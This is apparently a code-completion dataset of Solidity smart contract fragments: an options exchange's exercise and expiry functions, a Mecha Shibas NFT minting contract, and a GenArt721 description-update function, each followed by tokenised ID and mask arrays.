)
);
}
return _ticketAmount;
}
//if own buy & writer ticket get asset, void tickets
// 1 ticket gets 10^18 option units voided.
function collapseOptionPair( //#66
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsCollapsed)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
//if they have the write option
//if they have the hold option
require (
(balances[holderTicketAddress][msg.sender] >= _ticketAmount)
&& (balances[writerTicketAddress][msg.sender] >= _ticketAmount)
);
//I guess it can be expired, since you have both legs.
//void write option
balances[writerTicketAddress][msg.sender] =
safeSub(balances[writerTicketAddress][msg.sender], _ticketAmount);
globalBalance[writerTicketAddress] =
safeSub(globalBalance[writerTicketAddress], _ticketAmount);
//void hold option
balances[holderTicketAddress][msg.sender] =
safeSub(balances[holderTicketAddress][msg.sender], _ticketAmount);
globalBalance[holderTicketAddress] =
safeSub(globalBalance[holderTicketAddress], _ticketAmount);
//unlock asset
balances[_assetTokenAddress][0x0] = safeSub(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
balances[_assetTokenAddress][msg.sender] = safeAdd(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, _ticketAmount), 1 ether)
);
//emit event
CollapseOption(
msg.sender,
holderTicketAddress,
writerTicketAddress,
_ticketAmount,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return _ticketAmount;
}
/*about invisableHandOfAdamSmith():
q: why would someone ever want to buy an out-of-the-money,
collaterized call option at strike price?
a: if an american option is executed, and the collateral's movement
makes it later out of the money, the value of the option would
need to be calculated by including the "pre-executed" amount.
*
This would prevent an external actor performing weird arb trades
(write a billion tickets, collapse a billion tickets, profit!).
Skip the middle man! Writers are more likely to get 100% token or
strike at expiry, based on market value, and holders still have
their option intact.
*
Arbers gonna arb. Let them do their thing.
*/
//if there have been executions, Adam Smith can deposit asset, get strike, up to execution amount.
// function invisibleHandOfAdamSmith( //#67
function optionExcerciseUnwind(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount,
bool _fillOrKill //do we want? probably...
)
external
notLocked
returns (uint256 ticketsUnwound) //(amountTraded)
{
//only before, equal to expiry
require(block.number <= _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
//if strike-pool[hash] != 0 {
ticketsUnwound = exercisedOptions[holderTicketAddress];
//fill or kill.
require((_fillOrKill == false) || (ticketsUnwound >= _ticketAmount));
//get amount to trade.
if (ticketsUnwound > _ticketAmount) ticketsUnwound = _ticketAmount;
require(ticketsUnwound > 0);
//cant buy zero, either because not avail, or you asked for zero.
//check compliance, like a trade!
require(
(! restrictedTokens[holderTicketAddress]) //if it is not restricted
|| Compliance(complianceAddress).canTrade(holderTicketAddress, msg.sender) // or compliance says yes.
);
//debit balance of caller of asset tokens, credit 0x0
balances[_assetTokenAddress][msg.sender] = safeSub(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, ticketsUnwound), 1 ether)
);
balances[_assetTokenAddress][0x0] = safeAdd(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, ticketsUnwound), 1 ether)
);
//debit balance of exercisedOptions of holdOption, credit caller.
//no change in global balances.
exercisedOptions[holderTicketAddress] =
safeSub(exercisedOptions[holderTicketAddress], ticketsUnwound);
balances[holderTicketAddress][msg.sender] =
safeAdd(balances[holderTicketAddress][msg.sender], ticketsUnwound);
//debit balance of 0x0 of strike, credit caller.
balances[_strikeTokenAddress][0x0] = safeSub(
balances[_strikeTokenAddress][0x0],
safeDiv(safeMul(_strikeTokenAmount, ticketsUnwound), 1 ether)
);
balances[_strikeTokenAddress][msg.sender] = safeAdd(
balances[_strikeTokenAddress][msg.sender],
safeDiv(safeMul(_strikeTokenAmount, ticketsUnwound), 1 ether)
);
//emit event.
ExcerciseUnwind(
msg.sender,
holderTicketAddress,
ticketsUnwound,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress)),
_fillOrKill
);
return ticketsUnwound;
}
//if before expiry, and own hold ticket, then pay strike, get asset, void hold ticket
function excerciseOption( //#68
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsExcercised)
{
//only holder before, equal to expiry
require(block.number <= _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
//get balance of tickets
ticketsExcercised = balances[holderTicketAddress][msg.sender];
require(ticketsExcercised >= _ticketAmount); //its just a balance here.
//get amount to trade.
if (ticketsExcercised > _ticketAmount) ticketsExcercised = _ticketAmount;
//cant execute zero, either you have zero, or you asked for zero.
require(ticketsExcercised > 0);
//debit balance of caller for holdOption, credit exercisedOptions
balances[holderTicketAddress][msg.sender] =
safeSub(balances[holderTicketAddress][msg.sender], ticketsExcercised);
exercisedOptions[holderTicketAddress] =
safeAdd(exercisedOptions[holderTicketAddress], ticketsExcercised);
//debit balance of caller for strikeToken, credit 0x0
balances[_strikeTokenAddress][msg.sender] = safeSub(
balances[_strikeTokenAddress][msg.sender],
safeDiv(safeMul(_strikeTokenAmount, ticketsExcercised), 1 ether)
);
balances[_strikeTokenAddress][0x0] = safeAdd(
balances[_strikeTokenAddress][0x0],
safeDiv(safeMul(_strikeTokenAmount, ticketsExcercised), 1 ether)
);
//debit balance of 0x0 of asset, credit caller.
balances[_assetTokenAddress][0x0] = safeSub(
balances[_assetTokenAddress][0x0],
safeDiv(safeMul(_assetTokenAmount, ticketsExcercised), 1 ether)
);
balances[_assetTokenAddress][msg.sender] = safeAdd(
balances[_assetTokenAddress][msg.sender],
safeDiv(safeMul(_assetTokenAmount, ticketsExcercised), 1 ether)
);
//no change in global balances.
//emit event.
ExcerciseOption(
msg.sender,
holderTicketAddress,
ticketsExcercised,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return ticketsExcercised;
}
//if after expiry, get collateral, void option.
function expireOption( //#69
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
uint256 _ticketAmount
)
external
returns (uint256 ticketsExpired)
{
//only writer, only after expiry
require(block.number > _optionExpires);
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
//get balance of tickets
ticketsExpired = balances[writerTicketAddress][msg.sender];
require(ticketsExpired >= _ticketAmount); //its just a balance here.
//get amount to trade.
if (ticketsExpired > _ticketAmount) ticketsExpired = _ticketAmount;
//cant execute zero, either you have zero, or you asked for zero.
require(ticketsExpired > 0);
// debit holder tickets from user, add to exercisedOptions.
balances[writerTicketAddress][msg.sender] =
safeSub(balances[writerTicketAddress][msg.sender], ticketsExpired);
exercisedOptions[writerTicketAddress] =
safeAdd(exercisedOptions[writerTicketAddress], ticketsExpired);
//calculate amounts
uint256 strikeTokenAmount =
safeDiv(
safeMul(
safeDiv(safeMul(ticketsExpired, _strikeTokenAmount), 1 ether), //tickets
exercisedOptions[holderTicketAddress]
),
globalBalance[holderTicketAddress]
);
uint256 assetTokenAmount =
safeDiv(
safeMul(
safeDiv(safeMul(ticketsExpired, _assetTokenAmount), 1 ether), //tickets
safeSub(globalBalance[holderTicketAddress], exercisedOptions[holderTicketAddress])
),
globalBalance[holderTicketAddress]
);
//debit zero, add to msg.sender
balances[_strikeTokenAddress][0x0] =
safeSub(balances[_strikeTokenAddress][0x0], strikeTokenAmount);
balances[_assetTokenAddress][0x0] =
safeSub(balances[_assetTokenAddress][0x0], assetTokenAmount);
balances[_strikeTokenAddress][msg.sender] =
safeAdd(balances[_strikeTokenAddress][msg.sender], strikeTokenAmount);
balances[_assetTokenAddress][msg.sender] =
safeAdd(balances[_assetTokenAddress][msg.sender], assetTokenAmount);
//set inactive
ExpireOption( //#69]
msg.sender,
writerTicketAddress,
ticketsExpired,
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress))
);
return ticketsExpired;
}
//get an option's Hash's address
// (•_•) ( •_•)>⌐■-■ (⌐■_■)
//
//going from 32 bytes to 20 bytes still gives us 160 bits of hash goodness.
//that's still a crazy large number, and used by ethereum for addresses.
function getOptionAddress(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires,
bool _isWriter
)
public
view
returns(address)
{
return(
address(
keccak256(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
_isWriter
)
)
);
}
/***********************************
/ Options View Code
************************************/
//since the options code might move, we should have a way to always
//call a function to this contract to get the current values
function testIsOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
external
view
returns(bool)
{
return(
OptionRegistry(optionsRegistryAddress).isOptionPairRegistered(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
)
);
}
/***********************************
/ Default Options Registration Code
************************************/
// Register emits an event and adds it to restrictedToken.
// We'll deal with any other needed registration later.
// Set up for upgradeable external contract.
// return bools.
event RegisterOptionsPair(
bytes32 indexed optionPair, //assetTokenAddress xor strikeTokenAddress
address indexed writerTicketAddress,
address indexed holderTicketAddress,
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
);
function registerOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
returns(bool)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
// if (
// isOptionPairRegistered(
// _assetTokenAddress,
// _assetTokenAmount,
// _strikeTokenAddress,
// _strikeTokenAmount,
// _optionExpires
// )
// )
//cheaper not to make call gaswise, same result.
if (restrictedTokens[holderTicketAddress]) {
return false;
//return halts execution, but else is better for readibility
} else {
address writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
restrictedTokens[holderTicketAddress] = true;
restrictedTokens[writerTicketAddress] = true;
//an external contract would need to call something like this:
// after being registered as a helper contract on the main site.
//UberDelta(uberdeltaAddress).tokenRestriction(holderTicketAddress, true);
//UberDelta(uberdeltaAddress).tokenRestriction(writerTicketAddress, true);
RegisterOptionsPair(
(bytes32(_assetTokenAddress) ^ bytes32(_strikeTokenAddress)),
holderTicketAddress,
writerTicketAddress,
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires
);
return(true);
}
}
// for v1, we'll simply return if there's a restriction.
function isOptionPairRegistered(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(bool)
{
address holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
return(restrictedTokens[holderTicketAddress]);
}
function getOptionPair(
address _assetTokenAddress,
uint256 _assetTokenAmount,
address _strikeTokenAddress,
uint256 _strikeTokenAmount,
uint256 _optionExpires
)
public
view
returns(address holderTicketAddress, address writerTicketAddress)
{
holderTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
false
);
writerTicketAddress = getOptionAddress(
_assetTokenAddress,
_assetTokenAmount,
_strikeTokenAddress,
_strikeTokenAmount,
_optionExpires,
true
);
return(holderTicketAddress, writerTicketAddress);
}
/******************
/ EOS Registration
******************/
// some users will accidentally keep EOS on the exchange during the snapshot.
function EOSRegistration (string _key) external onlyOwner{
EOS(0xd0a6E6C54DbC68Db5db3A091B171A77407Ff7ccf).register(_key);
}
}
| restriction function for tokens that need additional verifications | function tokenRestriction(address _newToken, bool _status) external onlyHelper {
restrictedTokens[_newToken] = _status;
RestrictToken(_newToken, _status);
}
| 12,948,439 | [
1,
23954,
445,
364,
2430,
716,
1608,
3312,
1924,
6640,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
1147,
11670,
12,
2867,
389,
2704,
1345,
16,
1426,
389,
2327,
13,
3903,
1338,
2276,
288,
203,
565,
15693,
5157,
63,
67,
2704,
1345,
65,
273,
389,
2327,
31,
203,
377,
203,
565,
1124,
5792,
1345,
24899,
2704,
1345,
16,
389,
2327,
1769,
203,
225,
289,
203,
203,
21281,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/*
__ __ _ ____ _ _ _
| \/ | ___ ___| |__ __ _ / ___|| |__ (_) |__ __ _ ___
| |\/| |/ _ \/ __| '_ \ / _` | \___ \| '_ \| | '_ \ / _` / __|
| | | | __/ (__| | | | (_| | ___) | | | | | |_) | (_| \__ \
|_| |_|\___|\___|_| |_|\__,_| |____/|_| |_|_|_.__/ \__,_|___/
*/
/**
* @title A contract for Mecha Shibas
* @author Jaxon
* @notice NFT Minting
*/
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract MechaShibasNFT is ERC721, Ownable, Pausable, ReentrancyGuard {
using Strings for uint256;
using SafeMath for uint256;
using SafeMath for uint8;
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MINT_PRICE = 0.04 ether;
uint256 public constant MINT_PRICE_PUBLIC = 0.06 ether;
uint256 public constant MAX_MINT_PER_PRE = 3;
uint256 public constant MAX_MINT_PER_PUB = 5;
uint256 public constant PRESALE_SUPPLY = 3000;
uint256 public totalSupply = 0;
bool public saleStarted = false;
bool public preSaleStarted = false;
bool public revealed = false;
string public baseExtension = ".json";
string public baseURI;
string public notRevealedURI;
// Merkle Tree Root
bytes32 private _merkleRoot;
mapping(address => uint256) balanceOfAddress;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedURI
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedURI);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
/**
* Address -> leaf for MerkleTree
*/
function _leaf(address account) private pure returns (bytes32) {
return keccak256(abi.encodePacked(account));
}
/**
* Bool -> Verify WhiteList using MerkleTree
*/
function verifyWhitelist(bytes32 leaf, bytes32[] memory proof)
private
view
returns (bool)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash < proofElement) {
computedHash = keccak256(
abi.encodePacked(computedHash, proofElement)
);
} else {
computedHash = keccak256(
abi.encodePacked(proofElement, computedHash)
);
}
}
return computedHash == _merkleRoot;
}
/**
* Presale mint for whitelist
*/
function whitelistMint(uint256 _count, bytes32[] memory _proof)
external
payable
{
require(preSaleStarted, "MINT_NOT_STARTED");
require(
verifyWhitelist(_leaf(msg.sender), _proof) == true,
"ADDRESS_INVALID"
);
uint256 ownerTokenCount = balanceOf(msg.sender);
require(
_count > 0 && ownerTokenCount + _count <= MAX_MINT_PER_PRE,
"COUNT_INVALID"
);
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
require(totalSupply + _count <= PRESALE_SUPPLY, "PRESALE_REACHED");
if (msg.sender != owner()) {
require(msg.value >= MINT_PRICE * _count);
}
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender, totalSupply + i);
}
totalSupply += _count;
}
/**
* Mint Single or Multiple NFT tokens
*/
function mint(uint256 _count) public payable {
require(saleStarted, "MINT_NOT_STARTED");
uint256 ownerTokenCount = balanceOf(msg.sender);
require(
_count > 0 && ownerTokenCount + _count <= MAX_MINT_PER_PUB,
"COUNT_INVALID"
);
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
if (msg.sender != owner()) {
require(msg.value >= MINT_PRICE_PUBLIC * _count);
}
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender, totalSupply + i);
}
totalSupply += _count;
}
/**
* Override tokenURI
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token does not exist");
if (revealed == false) {
return notRevealedURI;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
function withdraw() external onlyOwner {
require(address(this).balance > 0, "EMPTY_BALANCE");
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
function setSaleStarted(bool _hasStarted) external onlyOwner {
require(saleStarted != _hasStarted, "SALE_STARTED_ALREADY_SET");
saleStarted = _hasStarted;
}
function setPreSaleStarted(bool _hasStarted) external onlyOwner {
require(preSaleStarted != _hasStarted, "PRESALE_STARTED_ALREADY_SET");
preSaleStarted = _hasStarted;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function reveal() public onlyOwner {
revealed = true;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedURI = _notRevealedURI;
}
function setMerkleRoot(bytes32 _merkleRootValue)
external
onlyOwner
returns (bytes32)
{
_merkleRoot = _merkleRootValue;
return _merkleRoot;
}
function maxMintAmount() external view returns (uint256) {
if (preSaleStarted == true) {
return MAX_MINT_PER_PRE;
}
return MAX_MINT_PER_PUB;
}
function pause() external onlyOwner {
require(!paused(), "ALREADY_PAUSED");
_pause();
}
function unpause() external onlyOwner {
require(paused(), "ALREADY_UNPAUSED");
_unpause();
}
}
| * Mint Single or Multiple NFT tokens/ | function mint(uint256 _count) public payable {
require(saleStarted, "MINT_NOT_STARTED");
uint256 ownerTokenCount = balanceOf(msg.sender);
require(
_count > 0 && ownerTokenCount + _count <= MAX_MINT_PER_PUB,
"COUNT_INVALID"
);
require(totalSupply + _count <= MAX_SUPPLY, "MAX_SUPPLY_REACHED");
if (msg.sender != owner()) {
require(msg.value >= MINT_PRICE_PUBLIC * _count);
}
for (uint256 i = 1; i <= _count; i++) {
_safeMint(msg.sender, totalSupply + i);
}
totalSupply += _count;
}
| 14,024,668 | [
1,
49,
474,
10326,
578,
13531,
423,
4464,
2430,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
312,
474,
12,
11890,
5034,
389,
1883,
13,
1071,
8843,
429,
288,
203,
3639,
2583,
12,
87,
5349,
9217,
16,
315,
49,
3217,
67,
4400,
67,
20943,
6404,
8863,
203,
3639,
2254,
5034,
3410,
1345,
1380,
273,
11013,
951,
12,
3576,
18,
15330,
1769,
203,
3639,
2583,
12,
203,
5411,
389,
1883,
405,
374,
597,
3410,
1345,
1380,
397,
389,
1883,
1648,
4552,
67,
49,
3217,
67,
3194,
67,
17217,
16,
203,
5411,
315,
7240,
67,
9347,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
4963,
3088,
1283,
397,
389,
1883,
1648,
4552,
67,
13272,
23893,
16,
315,
6694,
67,
13272,
23893,
67,
29416,
15023,
8863,
203,
203,
3639,
309,
261,
3576,
18,
15330,
480,
3410,
10756,
288,
203,
5411,
2583,
12,
3576,
18,
1132,
1545,
490,
3217,
67,
7698,
1441,
67,
14939,
380,
389,
1883,
1769,
203,
3639,
289,
203,
203,
3639,
364,
261,
11890,
5034,
277,
273,
404,
31,
277,
1648,
389,
1883,
31,
277,
27245,
288,
203,
5411,
389,
4626,
49,
474,
12,
3576,
18,
15330,
16,
2078,
3088,
1283,
397,
277,
1769,
203,
3639,
289,
203,
3639,
2078,
3088,
1283,
1011,
389,
1883,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xd9b7eC74C06c558A59AfdE6a16E614950730F44d/sources/contracts/engine/V3/GenArt721CoreV3_Engine_Flex.sol | * @notice Updates description of project `_projectId`. Only artist may call when unlocked, only admin may call when locked. Note: The BytecodeStorage library is used to store the description to reduce initial upload cost, however, even minor edits will require an expensive, entirely new bytecode storage contract to be deployed instead of relatively cheap updates to already-warm storage slots. This results in an increased gas cost for minor edits to the description after the initial upload, but an overall decrease in gas cost for projects with less than ~3-5 edits (depending on the length of the description). @param _projectId Project ID. @param _projectDescription New project description./ checks effects store description in contract bytecode, replacing reference address from the old storage description with the newly created one | function updateProjectDescription(
uint256 _projectId,
string memory _projectDescription
) external {
require(
_projectUnlocked(_projectId)
? msg.sender == projectIdToFinancials[_projectId].artistAddress
: adminACLAllowed(
msg.sender,
address(this),
this.updateProjectDescription.selector
),
"Only artist when unlocked, owner when locked"
);
projects[_projectId].descriptionAddress = _projectDescription
.writeToBytecode();
emit ProjectUpdated(_projectId, FIELD_PROJECT_DESCRIPTION);
}
| 3,903,881 | [
1,
5121,
2477,
434,
1984,
1375,
67,
4406,
548,
8338,
5098,
15469,
2026,
745,
1347,
25966,
16,
1338,
3981,
2026,
745,
1347,
8586,
18,
3609,
30,
1021,
2525,
16651,
3245,
5313,
353,
1399,
358,
1707,
326,
2477,
358,
5459,
2172,
3617,
6991,
16,
14025,
16,
5456,
8439,
24450,
903,
2583,
392,
19326,
16,
21658,
394,
22801,
2502,
6835,
358,
506,
19357,
3560,
434,
1279,
17526,
19315,
438,
4533,
358,
1818,
17,
13113,
2502,
12169,
18,
1220,
1686,
316,
392,
31383,
16189,
6991,
364,
8439,
24450,
358,
326,
2477,
1839,
326,
2172,
3617,
16,
1496,
392,
13914,
20467,
316,
16189,
6991,
364,
10137,
598,
5242,
2353,
4871,
23,
17,
25,
24450,
261,
5817,
310,
603,
326,
769,
434,
326,
2477,
2934,
225,
389,
4406,
548,
5420,
1599,
18,
225,
389,
4406,
3291,
1166,
1984,
2477,
18,
19,
4271,
16605,
1707,
2477,
316,
6835,
22801,
16,
13993,
2114,
1758,
628,
326,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
1089,
4109,
3291,
12,
203,
3639,
2254,
5034,
389,
4406,
548,
16,
203,
3639,
533,
3778,
389,
4406,
3291,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
389,
4406,
7087,
329,
24899,
4406,
548,
13,
203,
7734,
692,
